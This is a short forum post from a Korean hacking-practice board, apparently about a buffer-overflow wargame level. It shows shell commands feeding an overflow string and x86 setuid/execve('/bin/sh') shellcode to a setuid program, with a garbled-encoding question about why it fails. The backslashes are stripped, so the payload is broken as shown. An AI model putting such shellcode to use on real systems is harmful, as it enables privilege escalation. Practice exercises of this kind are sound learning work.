http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship&no=139 [º¹»ç]
[goblin@localhost tmp]$ /bin/bash2
[goblin@localhost tmp]$ /home/goblin/tmp/orc `perl -e 'print "A"x40,"x20xfcxffxbf"x2'` `perl -e 'print "x31xc0xb0x31xcdx80x89xc3x89xc1x31xc0xb0x46xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[goblin@localhost tmp]$ /home/goblin/orc `perl -e 'print "A"x40,"x20xfcxffxbf"x2'` `perl -e 'print "x31xc0xb0x31xcdx80x89xc3x89xc1x31xc0xb0x46xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[goblin@localhost tmp]$
¾Æ¹« ¿À·ùµµ ¶ßÁö¾Ê°í..±×·¸´Ù°í ½©µµ ¾ÈµûÁö°í;
¼¼±×¸ÇÅ×ÀÌ¼Ç ¿À·ù¶ó¸é
ulimit -c unlimited
Ç߱⶧¹®¿¡ core°¡ ¶ãÅÙµ¥...
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Hit : 2507 Date : 2010/07/12 08:06
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